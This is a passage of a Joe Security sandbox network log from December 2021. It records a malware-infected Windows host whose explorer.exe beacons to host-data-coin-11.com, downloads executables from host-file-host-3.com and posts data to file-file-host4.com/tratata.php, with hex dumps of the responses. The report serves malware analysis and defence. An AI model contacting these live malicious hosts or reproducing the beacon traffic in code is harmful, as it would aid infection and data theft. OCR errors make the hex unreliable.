Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP  Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://oamtgaba.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 273

Host: host-data-coin-11.com
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kBytes
Timestamp transferred

Dec 1, 2021 7322
09:14:27.734807014 CET

Session ID Source IP
48 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 7323

09:14:27.908968925 CET

Dec 1, 2021 7323
09:14:28.010453939 CET

Session ID Source IP
49 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 7324

09:14:28.136903048 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49804

Direction

ouT

Source Port
49805

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:27 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
220 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://xuobblxeto.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 132

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:27 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 36 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08
93 31 f9 55 50 99 4a f7 e0 25 e5 39 1a 4b ef a8 8d 70 bc 57 da 4a d5 fe 24 85 21 ed ¢3 95 53 2f e5 a8 1d 63 a9 0d 0a 30
0d Oa 0d Oa

Data Ascii: 461:820U&1UPJ%9KpWJ$!S/cO

Destination IP  Destination Port Process
95.213.165.249 80 C:\Windows\explorer.exe

Data

GET /files/5311_1638303032_7343.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: host-file-host-3.com
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kBytes
Timestamp transferred

Dec 1, 2021 7325
09:14:28.219403028 CET

Session ID Source IP
5 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 1084

09:13:56.216691017 CET

Dec 1, 2021 1085
09:13:56.318475008 CET

Session ID Source IP
50 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 8555

09:14:32.314840078 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49760

Direction
ouT

Source Port
49809

Direction
ouT

Data

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:28 GMT

Content-Type: application/x-msdos-program

Content-Length: 1143000

Connection: close

Last-Modified: Tue, 30 Nov 2021 20:10:32 GMT

ETag: "1170d8-5d2072645dc9e"

Accept-Ranges: bytes

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 70 1c 69 a3 00 00 00 00 00 00 00 00 e0 00 Oe 01 Ob 01
30 00 00 60 11 00 00 06 00 00 00 00 00 00 9e 7e 11 00 00 20 00 00 00 80 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 cO 11 00 00 02 00 00 09 35 12 00 02 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 Of 00 00 00 00 00 00 00 00 00 00 00 50 7e 11 00 4b 00 00 00 00 80 11 00 bc 02 00
00 00 00 00 00 00 00 00 00 00 68 11 00 d8 08 00 00 00 a0 11 00 Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08
00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 5e 11 00
00 20 00 00 00 60 11 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 bc 02 00
00 00 80 11 00 00 04 00 00 00 62 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 72 65 6¢ 6f 63 00 00 Oc 00
0000 00 a0 11 00 00 02 00 00 00 66 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 80 7e 11 00 00 00 00 00 48 00 00 00 02 00 05 00 00 18 02 00 dc 5f 05 00 03 00 00 00 da 07 00 06
dc 77 07 00 eb 89 06 00 c1 7d 11 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 42 28 89 08 00 06 7e 53 02 00 04 28 81 Oc 00 06 2a 00 00 00 13 30 04 00 04 00 00 00 00 00
00 00 00 00 14 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 Oc 00 06 2a 00 00 00 12 00 00 17 2a 00 00 00 42 28 89 08 00
06 7e 53 02 00 04 28 81 Oc 00 06 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 04 00 04 00 00 00
00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16
2a 422889 08 00 06 7e 53 02 00 04 28 81 Oc 00 06 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00
00 14 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 Oc 00 06 2a
00 00 00 12 00 00 17 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00
0000 17 2a 13 30 0a 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 0d 00 04 00 00 00 00 00 00 00 00 00 14 2a 42 28 89
08 00 06 7e 53 02 00 04 28 81 Oc 00 06 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 03 30 04 00 04 00
00 00 00 00 00 00 00 00 00 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 Oc 00 06 2a 00 00 00 13 30 02 00 04 00 00 00 00
00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a
12 00 00 14 2a 00 00 00 42 28 89 08 00 06 7e 53 02 00 04 28 81 Oc 00 06 2a 00 00 00 13 30 05 00 04 00 00 00 00 00 00
00 00 00 17 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 05

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELpi0’~ @ 5@P~Kh H.text* * ".rsrch@.relocf@B~H_w}B
(-S(*O*B("S(**B('-S(***O*O*O*B('-S(****O*B(~S(**O*O*O*O*B(~S(*O*O*B(~S(*O*O*O**B('*S(*O*O*O

Destination IP Destination Port Process
95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ggigae.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 364

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:13:56 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process
95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /tratata.php HTTP/1.1

Content-Type: multipart/form-data; boundary=----Q9RQQIMOZU3E3EKX
Host: file-file-host4.com

Content-Length: 104683

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: PHPSESSID=t42nernt19g8nshjut69kb7udv
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Timestamp

Dec 1, 2021
09:14:32.589039087 CET

Session ID

51

Timestamp

Dec 1, 2021
09:14:32.488334894 CET

Dec 1, 2021
09:14:32.594845057 CET

Session ID
52

Timestamp

Dec 1, 2021
09:14:32.763000965 CET

Dec 1, 2021
09:14:32.863291979 CET

Session ID
53

Timestamp

kBytes
transferred

8663

Source IP

192.168.2.4
kBytes

transferred

8658

8664

Source IP
192.168.2.4

kBytes

transferred
8665

8665

Source IP
192.168.2.4

kBytes
transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49810

Direction

ouT

Source Port
49811

Direction
ouT

Source Port
49812

Direction

Data

HTTP/1.1 200 OK

Server: nginx/1.20.2

Date: Wed, 01 Dec 2021 08:14:32 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0

Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://clekn.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 318

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:32 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP  Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://jhglgm.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 279

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data
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kBytes
Timestamp transferred

Dec 1, 2021 8666
09:14:33.020070076 CET

Session ID Source IP
54 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
55 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
56 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
57 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
58 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
59 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
6 192.168.2.4
kBytes
Timestamp transferred
Dec 1, 2021 1086

09:13:56.674941063 CET

Dec 1, 2021 1086
09:13:56.778233051 CET

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49813

Direction

Source Port

49814

Direction

Source Port

49815

Direction

Source Port

49816

Direction

Source Port
49817

Direction

Source Port
49818

Direction

Source Port
49761

Direction
ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://pnkfchg.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 207

Host: host-data-coin-11.com

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

Destination IP  Destination Port Process
95.213.165.249 80 C:\Windows\explorer.exe

Data

Destination IP  Destination Port Process
95.213.165.249 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process
95.213.165.249 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://xbbffefnf.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 179

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:13:56 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close
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Session ID Source IP Source Port Destination IP Destination Port Process

60 192.168.2.4 49819 95.213.165.249 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Session ID Source IP Source Port Destination IP Destination Port Process
61 192.168.2.4 49820 95.213.165.249 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Session ID Source IP Source Port Destination IP Destination Port Process
7 192.168.2.4 49762 95.213.165.249 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Dec 1, 2021 1087 ouT POST /HTTP/1.1
09:13:56.884566069 CET Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*

Referer: http://fhfscvxar.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 298

Host: host-data-coin-11.com

Dec 1, 2021 1088 IN HTTP/1.1 404 Not Found
09:13:56.989212036 CET Server: nginx/1.20.1
Date: Wed, 01 Dec 2021 08:13:56 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 34 36 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08
93 31 f9 55 50 99 4a f7 e0 25 e5 39 1a 46 eb ab 8f 70 bc 57 da 4a d7 7 26 84 22 €9 ¢3 90 50 2a el a8 1d 63 a9 0d Oa 30
0d Oa 0d Oa
Data Ascii: 461:820U&1UPJ%9FpWJ&"P*cO

Session ID Source IP Source Port Destination IP  Destination Port Process

8 192.168.2.4 49763 95.213.165.249 80 C:\Windows\explorer.exe
kBytes

Timestamp transferred Direction Data

Dec 1, 2021 1089 ouT GET /files/8723_1638191106_2017.exe HTTP/1.1

09:13:57.375977039 CET Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: host-file-host-3.com
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kBytes
Timestamp transferred

Dec 1, 2021 1090
09:13:57.461333036 CET

Session ID Source IP
9 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 2431

09:14:00.132246971 CET

Dec 1, 2021 2432
09:14:00.235800028 CET

HTTPS Proxied Packets

Session ID Source IP

0 192.168.2.4

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49764

Direction

ouT

Source Port

49767

Data

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:13:57 GMT

Content-Type: application/x-msdos-program

Content-Length: 1285856

Connection: close

Last-Modified: Mon, 29 Nov 2021 13:05:06 GMT

ETag: "139ee0-5d1ed16faf7da"

Accept-Ranges: bytes

Data Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 20 3d 15 26 cf ba ee 2f 19 d3 60 ac 4f 9c ef f1 81 8e al
4f 5b 97 45 4 e8 76 69 7c ff 44 43 c¢7 9e 91 5b 41 d1 06 1c 81 dc 16 00 01 00 00 Ob 51 d1 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 b8 78 cc d8 00 00 00 00
00 00 00 00 €0 00 02 01 Ob 01 30 00 00 10 03 00 00 72 Oc 00 00 00 00 00 00 dO Of 00 00 20 00 00 00 40 03 00 00 00 40
00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 10 17 00 00 04 00 00 5¢ 1b 14 00 02 00
40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 03 00 f4
01 00 00 00 60 03 00 58 6f Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 40 03 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00
00 00 00 00 00 00 00 00 10 00 00 00 50 03 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO
2e 72 73 72 63 00 00 00 58 6f Oc 00 00 60 03 00 58 6f Oc 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40
00 00 00 00 00 00 00 00 00 40 07 00 00 dO Of 00 dd 28 07 00 00 76 Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e
000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2b fd ¢3 f3 00 00
00 00 ed 14 Oe 00 2f ba 5¢ 9a 3b 33 29 78 29 6e de aa 7f e6 ad 90 73 dO 6¢ a5 00 1c 1la 25 15 e6 10 le 26 c0 8f de a9 3e
68 30 fe e0 82 6¢ fd 03 94 50 03 00 00 00 00 00 00 00 00 00 ec 50 03 00 8¢ 50 03 00 a4 50 03 00 00 00 00 00 00 00 00 00
1351 03 00 9c 50 03 00 b4 50 03 00 00 00 00 00 00 00 00

Data Ascii: MZog":( =&/ OO|EVi|DC[AQPELX0r @ @\@P Xo@ P@.rsrcXo Xo@ @ @ (v@+/\;3)x)ns|%&>h0IPPPPQPP

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://byrobmm.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 157

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:00 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
